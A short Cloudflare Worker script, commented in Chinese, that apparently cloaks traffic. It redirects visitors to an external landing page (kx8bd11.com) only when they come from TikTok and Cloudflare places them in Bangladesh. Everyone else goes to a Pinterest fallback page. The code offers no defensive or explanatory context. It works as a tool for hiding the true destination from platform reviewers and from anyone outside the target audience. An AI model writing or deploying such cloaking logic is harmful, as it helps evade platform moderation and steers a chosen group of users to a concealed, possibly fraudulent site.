export default { fetch(request) { const url = new URL(request.url); // URL 参数 const src = url.searchParams.get("src"); // 来源 const ref = request.headers.get("referer") || ""; // 国家(Cloudflare 自动) const country = request.cf.country || "XX"; // 允许国家(孟加拉) const allowCountry = "BD"; // 是否来自 TikTok const fromTikTok = src === "tiktok" || ref.includes("tiktok.com"); // 满足:TikTok + BD if (fromTikTok && country === allowCountry) { return Response.redirect( "https://www.kx8bd11.com/tiktok.html?ch=ea6fe7b29e", 302 ); } // 兜底页(必须是自己域名) return Response.redirect( "https://www.pinterest.com/normal.html", 302 ); } };